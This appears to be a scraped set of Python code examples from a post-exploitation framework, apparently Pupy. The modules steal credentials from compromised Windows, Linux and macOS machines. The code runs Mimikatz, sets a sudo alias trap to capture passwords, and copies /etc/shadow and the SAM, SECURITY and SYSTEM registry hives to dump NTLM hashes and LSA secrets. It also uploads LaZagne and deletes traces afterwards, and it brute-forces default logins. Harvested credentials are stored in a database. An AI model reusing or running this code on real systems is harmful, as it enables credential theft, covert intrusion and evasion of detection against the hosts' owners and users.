Exemplo n.º 1
0
    def run(self, args):
        
        # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz.
        if args.wdigest:
            self.client.load_package("pupwinutils.wdigest")
            ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest)
            if ok: 
                self.success(message)
            else:
                self.warning(str(message))
            return

        script ='mimikatz'

        # check if file has been already uploaded to the target
        for arch in ['x64', 'x86']:
            if script not in self.client.powershell[arch]['scripts_loaded']:
                content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
            else:
                content = ''

        output = execute_powershell_script(self, content, args.command, x64IfPossible=True, script_name=script)
        if not output:
            self.error("Error running mimikatz. Enough privilege ?")
            return
        self.success("%s" % output)
        
        creds = self.parse_mimikatz(output)
        db = Credentials()
        db.add(creds)
        self.success("Credentials stored on the database")
Exemplo n.º 2
0
    def run(self, args):
        if args.action == "start":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_start():
                self.error("the alias already exists")
            else:
                self.success(
                    "the alias has been created. Waiting for a user to run a sudo command..."
                )
        elif args.action == "dump":
            data = self.client.conn.modules["sudo_alias"].sudo_alias_dump()
            if not data:
                self.error("nothing find, be patient !")
            else:
                self.success("Sudo password found: %s" % data)

                # add password to the database
                username = data.split('/')[0]
                password = data.replace(username, '')[1:]
                db = Credentials(client=self.client.short_name(),
                                 config=self.config)
                db.add([{
                    'Login': username,
                    'password': password,
                    'CredType': 'plaintext',
                    'Category': 'System password'
                }])
                self.success("Credentials stored on the database")

        elif args.action == "stop":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_stop():
                self.error('the alias has not been created yet (run start)')
            else:
                self.success('everyhing has been stopped and cleaned')
Exemplo n.º 3
0
    def run(self, args):

        # check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

        script = 'mimikatz'

        # check if file has been already uploaded to the target
        for arch in ['x64', 'x86']:
            if script not in self.client.powershell[arch]['scripts_loaded']:
                content = open(
                    os.path.join(ROOT, "external", "PowerSploit",
                                 "Exfiltration", "Invoke-Mimikatz.ps1"),
                    'r').read()
            else:
                content = ''

        output = execute_powershell_script(self,
                                           content,
                                           args.command,
                                           x64IfPossible=True,
                                           script_name=script)
        if not output:
            self.error("Error running mimikatz. Enough privilege ?")
            return
        self.success("%s" % output)

        creds = self.parse_mimikatz(output)
        db = Credentials()
        db.add(creds)
        self.success("Credentials stored on the database")
Exemplo n.º 4
0
    def run(self, args):
        if args.action=="start":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_start():
                self.error("the alias already exists")
            else:
                self.success("the alias has been created. Waiting for a user to run a sudo command...")
        elif args.action=="dump":
            data = self.client.conn.modules["sudo_alias"].sudo_alias_dump()
            if not data:
                self.error("nothing find, be patient !")
            else:
                self.success("Sudo password found: %s" % data)

                # add password to the database
                username = data.split('/')[0]
                password = data.replace(username, '')[1:]
                db = Credentials(client=self.client.short_name(), config=self.config)
                db.add([{
                    'Login': username,
                    'password':password,
                    'CredType': 'plaintext',
                    'Category': 'System password'
                }])
                self.success("Credentials stored on the database")

        elif args.action=="stop":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_stop():
                self.error('the alias has not been created yet (run start)')
            else:
                self.success('everyhing has been stopped and cleaned')
Exemplo n.º 5
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(":", 2)
            if not hsh in ("!", "*", "x") and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, "passwd")
            download(self.client.conn, "/etc/passwd", passwd)

            with open(passwd, "r") as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error("/etc/passwd is not accessible: {}".format(e))

        try:
            shadow = os.path.join(self.rep, "shadow")
            download(self.client.conn, "/etc/shadow", shadow)

            with open(shadow, "r") as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error("/etc/shadow is not accessible: {}".format(e))

        self.client.load_package("pupyutils.safepopen")
        sopen = self.client.conn.modules["pupyutils.safepopen"].SafePopen

        try:
            with open(os.path.join(self.rep, "getent.passwd"), "w") as passwd:
                for line in sopen(["getent", "passwd"]).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error("getent passwd failed: {}: {}".format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, "getent.shadow"), "w") as shadow:
                for line in sopen(["getent", "shadow"]).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error("getent shadow failed: {}: {}".format(type(e), e.message))

        db = Credentials()
        db.add([{"hashes": hsh, "Tool": "Creddump", "uid": self.client.short_name()} for hsh in hashes])

        for hsh in hashes:
            self.log("{}".format(hsh))
Exemplo n.º 6
0
 def run(self, args):
     if args.flush:
         warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
         if warning == 'y':
             Credentials().flush()
             self.success("Database removed")
         else:
              self.warning("Nothing done")
     elif args.show:
         Credentials().show()
Exemplo n.º 7
0
    def run(self, args):

        # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz.
        if args.wdigest:
            ok, message = self.client.conn.modules["pupwinutils.wdigest"].wdigest(args.wdigest)
            if ok:
                self.success(message)
            else:
                self.warning(str(message))
            return

        proc_arch       = self.client.desc["proc_arch"]
        mimikatz_path   = None
        output          = ''

        if "64" in proc_arch:
            mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_x64")
        else:
            mimikatz_path = self.client.pupsrv.config.get("mimikatz","exe_Win32")

        if not os.path.isfile(mimikatz_path):
            self.error("Mimikatz exe %s not found ! please edit Mimikatz section in pupy.conf"%mimikatz_path)
        else:
            mimikatz_args = args.args
            interactive = False

            if not mimikatz_args:
                interactive = True
            else:
                mimikatz_args.append('exit')

            if args.logonPasswords:
                mimikatz_args = ['privilege::debug', 'sekurlsa::logonPasswords', 'exit']
                interactive = True

            output = exec_pe(self, mimikatz_args, path=mimikatz_path, interactive=interactive)

            try:
                from pykeyboard import PyKeyboard
                k = PyKeyboard()
                k.press_key(k.enter_key)
                k.release_key(k.enter_key)
            except:
                pass

        # store credentials into the database
        if output:
            try:
                creds = self.parse_mimikatz(output)
                db = Credentials(client=self.client.short_name(), config=self.config)
                db.add(creds)
                self.success("Credentials stored on the database")
            except:
                self.error('No credentials stored in the database')
Exemplo n.º 8
0
 def run(self, args):
     if args.flush:
         warning = raw_input(
             "[!] Are you sure to flush the database ? [y/N]")
         if warning == 'y':
             Credentials().flush()
             self.success("Database removed")
         else:
             self.warning("Nothing done")
     else:
         Credentials().display(search=args.search, isSorted=args.sort)
Exemplo n.º 9
0
 def run(self, args):
     credentials = Credentials(config=self.config)
     if args.flush:
         warning = raw_input("[!] Are you sure to flush the database ? [y/N]")
         if warning == 'y':
             credentials.flush()
             self.success("Database removed")
         else:
              self.warning("Nothing done")
     else:
         credentials.display(search=args.search, isSorted=args.sort)
Exemplo n.º 10
0
 def darwin(self):
     self.client.load_package("hashdump")
     hashes = self.client.conn.modules["hashdump"].hashdump()
     if hashes:
         db = Credentials()
         db.add([
             {'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes
         ])
         for hsh in hashes:
             self.log('{}'.format(hsh))
         
         self.success("Hashes stored on the database")
     else:
         self.error('no hashes found')
Exemplo n.º 11
0
    def run(self, args):
        platform=self.client.desc["platform"]
        isWindows = True
        if "Windows" in platform:
            lazagne_path = self.client.pupsrv.config.get("lazagne","win")
        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get("lazagne","linux_32")
        else:
            self.error("Platform not supported")
            return

        if not os.path.isfile(lazagne_path):
            self.error("laZagne exe %s not found ! please edit laZagne section in pupy.conf"%lazagne_path)
            self.error('Find releases on github: https://github.com/AlessandroZ/LaZagne/releases')
            return

        tf = tempfile.NamedTemporaryFile()
        dst = tf.name
        if isWindows:
            remoteTempFolder = self.client.conn.modules['os.path'].expandvars("%TEMP%")
            tfName = tf.name.split(os.sep)
            tfName = tfName[len(tfName)-1] + '.exe'
            dst = self.client.conn.modules['os.path'].join(remoteTempFolder, tfName)
        tf.file.close()

        self.success("Uploading laZagne to: %s" % dst)
        upload(self.client.conn, lazagne_path, dst)

        if not isWindows:
            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

        self.success("Executing")
        cmd = [dst, "all"]
        output = self.client.conn.modules.subprocess.check_output(cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
        self.success("%s" % output)
        
        creds = self.parse_output(output)
        db = Credentials()
        db.add(creds)
        self.success("Passwords stored on the database")
        
        self.success("Cleaning traces")
        self.client.conn.modules['os'].remove(dst)
Exemplo n.º 12
0
    def run(self, args):
        config = self.client.pupsrv.config
        self.db = Credentials(client=self.client, config=self.config)
        self.rep = os.path.join(config.get_folder('creds'), self.client.short_name())

        try:
            os.makedirs(self.rep)
        except Exception:
            pass

        if self.client.is_windows():
            self.windows()
        elif self.client.is_linux():
            self.linux()
        elif self.client.is_darwin():
            self.darwin()
Exemplo n.º 13
0
    def run(self, args):
        db = Credentials(client=self.client.short_name(), config=self.config)

        first_user = True
        passwordsFound = False
        results = obtain(self.client.conn.modules["whole"].to_strings_list(
            self.client.conn.modules["laZagne"].runLaZagne,
            category_choosed=args.category))
        for r in results:
            if r[0] == 'User':
                if not passwordsFound and not first_user:
                    self.warning('no passwords found !')

                first_user = False
                passwordsFound = False
                user = r[1]
                if type(user) == str:
                    user = user.decode('utf-8', errors='replace')

                self.log(
                    colorize(u'\n########## User: {} ##########'.format(user),
                             'yellow'))

            elif r[2]:
                passwordsFound = True
                try:
                    self.print_results(r[0], r[1], r[2], db)
                except Exception, e:
                    self.error('{}: {}'.format(r[1], e))
    def run(self, args):
        db = Credentials(client=self.client.short_name(), config=self.config)

        first_user = True
        passwordsFound = False
        for r in self.client.conn.modules["laZagne"].runLaZagne():

            if r[0] == 'User':
                if not passwordsFound and not first_user:
                    self.warning("no passwords found !")

                first_user = False
                passwordsFound = False
                print colorize(
                    '\n########## User: %s ##########' %
                    r[1].encode('utf-8', errors='replace'), "yellow")

            elif r[2]:
                # Fix false positive with keepass
                # Remove 'Get-Process' dict
                [r[2][i].pop('Get-Process', None) for i in range(0, len(r[2]))]
                # Remove empty value
                r = (r[0], r[1], [i for i in r[2] if i])

                if r[2]:
                    self.print_module_title(r[1])
                    passwordsFound = True
                    self.print_results(r[0], r[1], r[2], db)

        # print passwordsFound
        if not passwordsFound:
            self.warning("no passwords found !")
Exemplo n.º 15
0
 def run(self, args):
     found=False
     db = Credentials(client=self.client.short_name(), config=self.config)
     
     for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False):
         cred={
             'Password': passwd,
             'Login': u,
             'Host' : process,
             'Category': 'Mimipy: %s'%t,
             'CredType': 'password'
         }
         self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n")
         db.add([cred])
         found=True
     if not found:
         self.success("no password found :/")
Exemplo n.º 16
0
    def run(self, args):
        
        # check if windows 8.1 or Win2012 => reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

        content = open(os.path.join(ROOT, "external", "PowerSploit", "Exfiltration", "Invoke-Mimikatz.ps1"), 'r').read()
        function = 'Invoke-Mimikatz'

        output = execute_powershell_script(self, content, function, x64IfPossible=True)
        if not output:
            self.error("Error running mimikatz. Enough privilege ?")
            return
        self.success("%s" % output)
        
        creds = self.parse_mimikatz(output)
        db = Credentials()
        db.add(creds)
        self.success("Credentials stored on the database")
Exemplo n.º 17
0
    def run(self, args):
        found=False
        db = Credentials(client=self.client, config=self.config)

        for t, process, u, passwd in self.client.conn.modules['mimipy'].mimipy_loot_passwords(optimizations="nsrx", clean=False):
            cred={
                'Password': passwd,
                'Login': u,
                'Host': process,
                'Category': 'Mimipy: %s'%t,
                'CredType': 'password'
            }
            self.success('\n\t'.join(["%s: %s"%(i,v) for i,v in cred.iteritems()])+"\n\n")
            db.add([cred])
            found=True
        if not found:
            self.success("no password found :/")
Exemplo n.º 18
0
    def darwin(self):
        self.client.load_package("hashdump")
        hashes = self.client.conn.modules["hashdump"].hashdump()
        if hashes:
            db = Credentials()
            db.add([{
                'Hash': hsh[1],
                'Login': hsh[0],
                'Category': 'System hash',
                'uid': self.client.short_name(),
                'CredType': 'hash'
            } for hsh in hashes])
            for hsh in hashes:
                self.log('{}'.format(hsh))

            self.success("Hashes stored on the database")
        else:
            self.error('no hashes found')
Exemplo n.º 19
0
    def run(self, args):

        # for windows 10, if the UseLogonCredential registry is not present or disable (equal to 0), not plaintext password can be retrieved using mimikatz.
        if args.wdigest:
            self.client.load_package("pupwinutils.wdigest")
            ok, message = self.client.conn.modules[
                "pupwinutils.wdigest"].wdigest(args.wdigest)
            if ok:
                self.success(message)
            else:
                self.warning(str(message))
            return

        script = 'mimikatz'

        # check if file has been already uploaded to the target
        for arch in ['x64', 'x86']:
            if script not in self.client.powershell[arch]['scripts_loaded']:
                content = open(
                    os.path.join(ROOT, "external", "PowerSploit",
                                 "Exfiltration", "Invoke-Mimikatz.ps1"),
                    'r').read()
            else:
                content = ''

        output = execute_powershell_script(self,
                                           content,
                                           args.command,
                                           x64IfPossible=True,
                                           script_name=script)
        if not output:
            self.error("Error running mimikatz. Enough privilege ?")
            return
        self.success("%s" % output)

        creds = self.parse_mimikatz(output)
        db = Credentials()
        db.add(creds)
        self.success("Credentials stored on the database")
Exemplo n.º 20
0
    def run(self, args):
        config = self.client.pupsrv.config or PupyConfig()
        self.db = Credentials(client=self.client.short_name(), config=self.config)
        self.rep = os.path.join(config.get_folder('creds'), self.client.short_name())

        try:
            os.makedirs(self.rep)
        except Exception:
            pass

        if self.client.is_windows():
            self.windows()
        elif self.client.is_linux():
            self.linux()
        elif self.client.is_darwin():
            self.darwin()
Exemplo n.º 21
0
    def _run(self, args):
        db = Credentials(client=self.client, config=self.config)

        whole = self.client.remote('whole', 'to_strings_list', False)
        runLaZagne = self.client.remote('lazagne.config.run', 'run_lazagne',
                                        False)

        first_user = True
        passwordsFound = False

        kwargs = {
            'raise_on_exception': False,
        }

        if args.category:
            kwargs['category_selected'] = args.category

        if args.password and self.client.is_windows():
            kwargs['password'] = args.password

        results = obtain(whole(runLaZagne, **kwargs))
        for r in results:
            if r[0] == 'User':
                if not passwordsFound and not first_user:
                    self.warning('no passwords found !')

                first_user = False
                passwordsFound = False
                user = r[1]
                if type(user) == str:
                    user = user.decode('utf-8', errors='replace')

                self.log(
                    Color(u'\n########## User: {} ##########'.format(user),
                          'yellow'))

            elif r[2]:
                passwordsFound = True
                try:
                    self.print_results(r[0], r[1], r[2], db)
                except Exception as e:
                    self.error('{}: {}: {}'.format(r[1], e,
                                                   traceback.format_exc()))

        if not passwordsFound:
            self.warning('no passwords found !')
Exemplo n.º 22
0
    def run(self, args):
        if self.client.is_windows():
            self.client.load_dll('sqlite3.dll')

        db = Credentials()
        passwordsFound = False
        moduleNames = self.client.conn.modules[
            "lazagne.config.manageModules"].get_modules()
        for module in moduleNames:
            if args.verbose:
                self.info("running module %s" %
                          (str(module).split(' ', 1)[0].strip('<')))
            passwords = module.run(module.options['dest'].capitalize())
            passwordsFound = True
            self.print_results(module.options['dest'].capitalize(), passwords,
                               db)

        if not passwordsFound:
            self.warning("no passwords found !")
Exemplo n.º 23
0
    def run(self, args):
        if self.client.is_windows():
            self.client.load_dll('sqlite3.dll')

        db = Credentials()
        passwordsFound = False
        for r in self.client.conn.modules["laZagne"].runLaZagne():
            if r[0] == 'User':
                print colorize('\n########## User: %s ##########' % r[1].encode('utf-8', errors='replace'), "yellow")
                
            elif r[2] or args.verbose:
                self.print_module_title(r[1])

                if r[2]:
                    passwordsFound = True
                    self.print_results(r[0], r[1], r[2], db)
                elif args.verbose:
                    print '[!] no passwords found !'


        if not passwordsFound:
            self.warning("no passwords found !")
Exemplo n.º 24
0
def do(server, handler, config, modargs):
    try:
        credentials = Credentials(config=config)
    except Exception, e:
        handler.display(Error(e))
        return
Exemplo n.º 25
0
    def run(self, args):

        proxy = None
        if args.proxy and re.match('^https?://[0-9\.]+:[0-9]{1,5}$',
                                   args.proxy):
            proxy = {'http': args.proxy, 'https': args.proxy}
        elif args.proxy:
            print '[!] Invalid proxy, must be http(s)://x.x.x.x:8080'
            return

        custom_cred = None
        if args.creds:
            custom_cred = self.get_custom_creds(args.creds)
            if not custom_cred:
                return

        targets_list = self.build_targets_list(target=args.target,
                                               file=args.targets)
        if targets_list:
            # Load credential locally from filesystem
            root = os.path.join(ROOT, "external", "changeme")
            creds = changeme_creds().load_creds(root, args.protocol, args.name,
                                                args.category)
            # Run main function
            pwd_found = self.client.conn.modules["changeme.core"].run_changeme(
                protocol=args.protocol,
                category=args.category,
                name=args.name,
                targets=targets_list,
                port=args.port,
                ssl=args.ssl,
                proxy=proxy,
                log=args.log,
                verbose=args.verbose,
                debug=args.debug,
                timeout=args.timeout,
                useragent=args.useragent,
                delay=args.delay,
                creds=creds,
                custom_creds=custom_cred)

            if pwd_found:
                db = Credentials(client=self.client.short_name(),
                                 config=self.config)

                clean_creds = []
                for pwd in pwd_found:
                    self.success('%s' % pwd['name'])
                    self.success('URL: %s' % pwd['url'])
                    self.success('%s/%s' % (pwd['username'], pwd['password']))

                    clean_cred = {}
                    clean_cred['Category'] = '%s' % pwd['name']
                    clean_cred['CredType'] = 'plaintext'
                    clean_cred['URL'] = pwd['url']
                    clean_cred['Login'] = pwd['username']
                    clean_cred['Password'] = pwd['password']
                    clean_creds.append(clean_cred)

                    print

                try:
                    db.add(clean_creds)
                    self.success("Passwords stored on the database")
                except Exception, e:
                    print e
            else:
                self.warning('passwords not found')
class CredDump(PupyModule):
    """ download the hives from a remote windows system and dump creds """
    def init_argparse(self):
        self.arg_parser = PupyArgumentParser(prog='hive',
                                             description=self.__doc__)

    def run(self, args):
        config = self.client.pupsrv.config or PupyConfig()
        self.db = Credentials(client=self.client.short_name(),
                              config=self.config)
        self.rep = os.path.join(config.get_folder('creds'),
                                self.client.short_name())

        try:
            os.makedirs(self.rep)
        except Exception:
            pass

        if self.client.is_windows():
            self.windows()
        elif self.client.is_linux():
            self.linux()
        elif self.client.is_darwin():
            self.darwin()

    def darwin(self):
        self.client.load_package("hashdump")
        hashes = self.client.conn.modules["hashdump"].hashdump()
        if hashes:
            self.db.add([{
                'Hash': hsh[1],
                'Login': hsh[0],
                'Category': 'System hash',
                'CredType': 'hash'
            } for hsh in hashes])

            for hsh in hashes:
                self.log('{}'.format(hsh))

            self.success("Hashes stored on the database")
        else:
            self.error('no hashes found')

    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!', '*', 'x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(self.client.conn, '/etc/passwd', passwd)

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(self.client.conn, '/etc/shadow', shadow)

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        rsubprocess = self.client.conn.modules.subprocess

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in rsubprocess.check_output('getent passwd',
                                                     shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    passwd.write(line + '\n')

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(
                type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in rsubprocess.check_output('getent shadow',
                                                     shell=True).split('\n'):
                    if not line:
                        continue

                    add_hashes(line)
                    shadow.write(line + '\n')

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(
                type(e), e.message))

        self.db.add([{
            'Hash': ':'.join(hsh.split(':')[1:]),
            'Login': hsh.split(':')[0],
            'Category': 'Shadow hash',
            'CredType': 'hash'
        } for hsh in hashes])

        for hsh in hashes:
            self.log('{}'.format(hsh))

        self.success("Hashes stored on the database")

    def windows(self):
        # First, we download the hives...

        #detect windows version
        is_vista = False
        try:
            if self.client.conn.modules['sys'].getwindowsversion()[0] >= 6:
                is_vista = True
                self.info("windows > vista detected")
            else:
                self.info("windows < vista detected")
        except:
            self.warning(
                "windows version couldn't be determined. supposing vista=False"
            )

        self.success("saving SYSTEM hives in %TEMP%...")
        cmds = ("reg save HKLM\\SYSTEM %TEMP%/SYSTEM",
                "reg save HKLM\\SECURITY %TEMP%/SECURITY",
                "reg save HKLM\\SAM %TEMP%/SAM")
        if is_vista:
            cmds = (x + ' /y' for x in cmds)

        for cmd in cmds:
            self.info("running %s..." % cmd)
            self.log(shell_exec(self.client, cmd))
        self.success("hives saved!")
        remote_temp = self.client.conn.modules['os.path'].expandvars("%TEMP%")

        self.info("downloading SYSTEM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SYSTEM"),
                 os.path.join(self.rep, "SYSTEM"))

        self.info("downloading SECURITY hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SECURITY"),
                 os.path.join(self.rep, "SECURITY"))

        self.info("downloading SAM hive...")
        download(self.client.conn, ntpath.join(remote_temp, "SAM"),
                 os.path.join(self.rep, "SAM"))

        self.success("hives downloaded to %s" % self.rep)

        # Cleanup
        self.success("cleaning up saves...")
        try:
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SYSTEM"))
            self.client.conn.modules.os.remove(
                ntpath.join(remote_temp, "SECURITY"))
            self.client.conn.modules.os.remove(ntpath.join(remote_temp, "SAM"))
            self.success("saves deleted")
        except Exception as e:
            self.warning("error deleting temporary files: %s" % str(e))

        # Time to run creddump!
        hashes = []

        # HiveFileAddressSpace - Volatilty
        sysaddr = HiveFileAddressSpace(os.path.join(self.rep, "SYSTEM"))
        secaddr = HiveFileAddressSpace(os.path.join(self.rep, "SECURITY"))
        samaddr = HiveFileAddressSpace(os.path.join(self.rep, "SAM"))

        # Print the results
        self.success("dumping cached domain passwords...")

        for (u, d, dn, h) in dump_hashes(sysaddr, secaddr, is_vista):
            self.log("%s:%s:%s:%s" %
                     (u.lower(), h.encode('hex'), d.lower(), dn.lower()))
            hashes.append({
                'Login':
                u.lower(),
                'Hash':
                "%s:%s:%s" % (h.encode('hex'), d.lower(), dn.lower()),
                'Category':
                'MSCACHE hash',
                'CredType':
                'hash'
            })

        self.success("dumping LM and NT hashes...")
        bootkey = get_bootkey(sysaddr)
        hbootkey = get_hbootkey(samaddr, bootkey)
        for user in get_user_keys(samaddr):
            lmhash, nthash = get_user_hashes(user, hbootkey)
            if not lmhash: lmhash = empty_lm
            if not nthash: nthash = empty_nt
            self.log("%s:%d:%s:%s:::" % (get_user_name(user), int(
                user.Name, 16), lmhash.encode('hex'), nthash.encode('hex')))
            hashes.append({
                'Login':
                get_user_name(user),
                'Hash':
                "%s:%s" % (lmhash.encode('hex'), nthash.encode('hex')),
                'Category':
                'NTLM hash',
                'CredType':
                'hash'
            })

        self.db.add(hashes)
        self.success("Hashes stored on the database")

        self.success("dumping lsa secrets...")
        secrets = get_file_secrets(os.path.join(self.rep, "SYSTEM"),
                                   os.path.join(self.rep, "SECURITY"),
                                   is_vista)
        if not secrets:
            self.error(
                "unable to read LSA secrets, perhaps the hives are corrupted")
            return
        for key in secrets:
            self.log(key)
            self.log(self.dump(secrets[key], length=16))

        # The End! (hurrah)
        self.success("dump was successfull!")

    def dump(self, src, length=8):
        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.'
                          for x in range(256)])
        N = 0
        result = ''
        while src:
            s, src = src[:length], src[length:]
            hexa = ' '.join(["%02X" % ord(x) for x in s])
            s = s.translate(FILTER)
            result += "%04X   %-*s   %s\n" % (N, length * 3, hexa, s)
            N += length
        return result
Exemplo n.º 27
0
    def run(self, args):
        platform = self.client.desc["platform"]
        if "Windows" in platform:
            if "64" in self.client.desc["proc_arch"]:
                arch = "amd64"
            else:
                arch = "x86"

            # load all dependency
            self.client.load_dll(
                os.path.abspath(
                    os.path.join(os.path.dirname(__file__), "..", "packages",
                                 "windows", arch, "sqlite3.dll")))
            self.client.load_package("sqlite3")
            self.client.load_package("_sqlite3")
            self.client.load_package("xml")
            self.client.load_package("_elementtree")
            self.client.load_package(
                "pyexpat")  # needed for _elementtree module
            self.client.load_package("win32crypt")
            self.client.load_package("win32api")
            self.client.load_package("win32con")
            self.client.load_package("win32cred")
            self.client.load_package("colorama")
            self.client.load_package("impacket")
            self.client.load_package("calendar")
            self.client.load_package("win32security")
            self.client.load_package("win32net")
            self.client.load_package("lazagne")

            db = Credentials()

            passwordsFound = False
            moduleNames = self.client.conn.modules[
                "lazagne.config.manageModules"].get_modules()
            for module in moduleNames:
                if args.verbose:
                    self.info("running module %s" %
                              (str(module).split(' ', 1)[0].strip('<')))
                passwords = module.run(module.options['dest'].capitalize())
                if passwords:
                    passwordsFound = True
                    self.print_results(module.options['dest'].capitalize(),
                                       passwords, db)

            if not passwordsFound:
                self.warning("no passwords found !")

        elif "Linux" in platform:
            isWindows = False
            if "64" in self.client.desc["os_arch"]:
                lazagne_path = self.client.pupsrv.config.get(
                    "lazagne", "linux_64")
            else:
                lazagne_path = self.client.pupsrv.config.get(
                    "lazagne", "linux_32")

            if not os.path.isfile(lazagne_path):
                self.error(
                    "laZagne exe %s not found ! please edit laZagne section in pupy.conf"
                    % lazagne_path)
                self.error(
                    'Find releases on github: https://github.com/AlessandroZ/LaZagne/releases'
                )
                return

            tf = tempfile.NamedTemporaryFile()
            dst = tf.name
            tf.file.close()

            self.success("Uploading laZagne to: %s" % dst)
            upload(self.client.conn, lazagne_path, dst)

            self.success("Adding execution permission")
            cmd = ["chmod", "+x", dst]
            output = self.client.conn.modules.subprocess.check_output(
                cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

            self.success("Executing")
            cmd = [dst, "all"]
            output = self.client.conn.modules.subprocess.check_output(
                cmd, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
            self.success("%s" % output)

            creds = self.parse_output(output)
            db = Credentials()
            db.add(creds)
            self.success("Passwords stored on the database")

            self.success("Cleaning traces")
            self.client.conn.modules['os'].remove(dst)

        else:
            self.error("Platform not supported")
            return
Exemplo n.º 28
0
    def linux(self):
        known = set()
        hashes = []

        def add_hashes(line):
            user, hsh, rest = line.split(':', 2)
            if not hsh in ('!','*','x') and not (user, hsh) in known:
                known.add((user, hsh))
                hashes.append(line)

        try:
            passwd = os.path.join(self.rep, 'passwd')
            download(
                self.client.conn,
                '/etc/passwd',
                passwd
            )

            with open(passwd, 'r') as fpasswd:
                for line in fpasswd.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/passwd is not accessible: {}'.format(e))

        try:
            shadow = os.path.join(self.rep, 'shadow')
            download(
                self.client.conn,
                '/etc/shadow',
                shadow
            )

            with open(shadow, 'r') as fshadow:
                for line in fshadow.readlines():
                    add_hashes(line)

        except Exception as e:
            self.error('/etc/shadow is not accessible: {}'.format(e))

        self.client.load_package('pupyutils.safepopen')
        sopen = self.client.conn.modules['pupyutils.safepopen'].SafePopen

        try:
            with open(os.path.join(self.rep, 'getent.passwd'), 'w') as passwd:
                for line in sopen(['getent', 'passwd']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent passwd failed: {}: {}'.format(type(e), e.message))

        try:
            with open(os.path.join(self.rep, 'getent.shadow'), 'w') as shadow:
                for line in sopen(['getent', 'shadow']).execute():
                    if line:
                        add_hashes(line)

        except Exception as e:
            self.error('getent shadow failed: {}: {}'.format(type(e), e.message))

        db = Credentials()
        db.add([
            {'Hash':':'.join(hsh.split(':')[1:]), 'Login': hsh.split(':')[0], 'Category': 'Shadow hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes
        ])

        for hsh in hashes:
            self.log('{}'.format(hsh))
        
        self.success("Hashes stored on the database")
Exemplo n.º 29
0
    def run(self, args):

        proxy = None
        if args.proxy and re.match('^https?://[0-9\.]+:[0-9]{1,5}$', args.proxy):
            proxy = {
                'http': args.proxy,
                'https': args.proxy
            }
        elif args.proxy:
            print '[!] Invalid proxy, must be http(s)://x.x.x.x:8080'
            return

        custom_cred = None
        if args.creds:
            custom_cred = self.get_custom_creds(args.creds)
            if not custom_cred:
                return

        targets_list = self.build_targets_list(target=args.target, file=args.targets)
        if targets_list:
            # Load credential locally from filesystem
            root = os.path.join(ROOT, "external", "changeme")
            creds = changeme_creds().load_creds(root, args.protocol, args.name, args.category)
            # Run main function
            pwd_found = self.client.conn.modules["changeme.core"].run_changeme(
                protocol=args.protocol,
                category=args.category,
                name=args.name,
                targets=targets_list,
                port=args.port,
                ssl=args.ssl,
                proxy=proxy,
                log=args.log,
                verbose=args.verbose,
                debug=args.debug,
                timeout=args.timeout,
                useragent=args.useragent,
                delay=args.delay,
                creds=creds,
                custom_creds=custom_cred
            )

            if pwd_found:
                db = Credentials(client=self.client.short_name(), config=self.config)

